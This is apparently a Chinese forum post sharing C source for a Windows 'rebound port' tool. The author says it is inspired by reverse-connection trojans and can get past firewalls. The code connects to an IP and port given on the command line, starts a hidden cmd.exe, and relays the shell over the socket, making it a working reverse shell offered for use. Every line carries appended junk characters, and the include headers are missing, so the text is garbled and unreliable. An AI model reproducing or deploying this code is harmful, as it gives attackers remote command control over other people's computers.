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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q!A3hr$IF  
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/* ============================== kBQenMm  
Rebound port in Windows NT : 1f5;]%N  
By wind,2006/7 V/wc[p ~  
===============================*/ r7BH{>-  
#include ?}>Z_ ("  
#include lO[jf6gB  
OB I8~k  
#pragma comment(lib,"wsock32.lib") r(xlokpnb6  
(R|FQdH  
void OutputShell(); CFrHNU  
SOCKET sClient; )k%drdY{J'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z%gtV'  
j &[WE7wf  
void main(int argc,char **argv) vgbjvyfN  
{ UFY~D"% /  
WSADATA stWsaData; ZK_@.O+]  
int nRet; =&g}Y  
SOCKADDR_IN stSaiClient,stSaiServer; aD3F!Sn  
v]Q_  
if(argc != 3) (,9cCnvmYU  
{ k)GuMw  
printf("Useage:\n\rRebound DestIP DestPort\n"); \f Fy$  
return; i I Nu`>I  
} `h{mj|~  
M,! no  
WSAStartup(MAKEWORD(2,2),&stWsaData); vz_g2.7l\  
W%<]_u[-}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0-; P&m!!  
~ z&A  
stSaiClient.sin_family = AF_INET; E#F9<=mA)  
stSaiClient.sin_port = htons(0); H5MAN,`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 58ZiCvqv  
i}{Q\#=#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W[Ew6)1T  
{ AT'$VCYC(  
printf("Bind Socket Failed!\n"); +jZg%$Q!#  
return; N#!1@!2BN  
} 7Mg7B  
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stSaiServer.sin_family = AF_INET; GyM%vGl 3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v.&*z48  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }eRG$)'  
kvVz-P Jy  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r Q@o  
{ nZ+5@( *  
printf("Connect Error!"); Zg f||,  
return; bRe*(  
} S aq>o.  
OutputShell(); v?"ee&Y6  
} ?-&D'  
c5+lm}R?  
void OutputShell() yacGJz^f=  
{ MxA'T(Ay  
char szBuff[1024]; ^* v{t?u  
SECURITY_ATTRIBUTES stSecurityAttributes; "X}F%:HL  
OSVERSIONINFO stOsversionInfo; mSw?iL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9nAK6$/  
STARTUPINFO stStartupInfo; QN8Hz/}\  
char *szShell; H D ^~4\%  
PROCESS_INFORMATION stProcessInformation; ={vtfgxl  
unsigned long lBytesRead; &UH z  
)KQv4\0y<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e>9{36~jh  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >w;W& [  
stSecurityAttributes.lpSecurityDescriptor = 0; 0$Db@  
stSecurityAttributes.bInheritHandle = TRUE; *(.^$Iq4  
:=7;P)  
Ywq+l]5/p  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bjX$idL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YHtI%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jm,X~Si  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aT1 W] i  
stStartupInfo.wShowWindow = SW_HIDE; BFu9KS+@)  
stStartupInfo.hStdInput = hReadPipe; a8P 6-)W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CP#MNNvgrw  
R*#Q=_  
GetVersionEx(&stOsversionInfo); 6U3@-+lF  
8=AKOOU7>  
switch(stOsversionInfo.dwPlatformId) HCy}'}d  
{ )cBV; E<  
case 1: qf$|z`c  
szShell = "command.com"; 2n:J7PGD  
break; qz SI cI  
default: =9MH  
szShell = "cmd.exe"; m;1 exa  
break; )%c)-c  
} y9 ' 3vZ  
+~]g&Mf6o  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /kVc7 LC  
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send(sClient,szMsg,77,0); w' >v@`y  
while(1) 5E(P,!-.  
{ WX"M_=lc-@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nQVBHL>  
if(lBytesRead) &y+*3,!n8  
{ yKhzymS}T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $X]v;B)J|  
send(sClient,szBuff,lBytesRead,0); z:7F5!Z  
} ?bA]U:  
else 9}_f\Bs  
{ DYl{{L8@  
lBytesRead=recv(sClient,szBuff,1024,0); )q-!5^ak  
if(lBytesRead<=0) break; jd'R2e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); He23<hd!  
} Y)RikF >  
} O:R{4Q*5  
$QnfpM%+=  
return; 0P >dXd)T  
}
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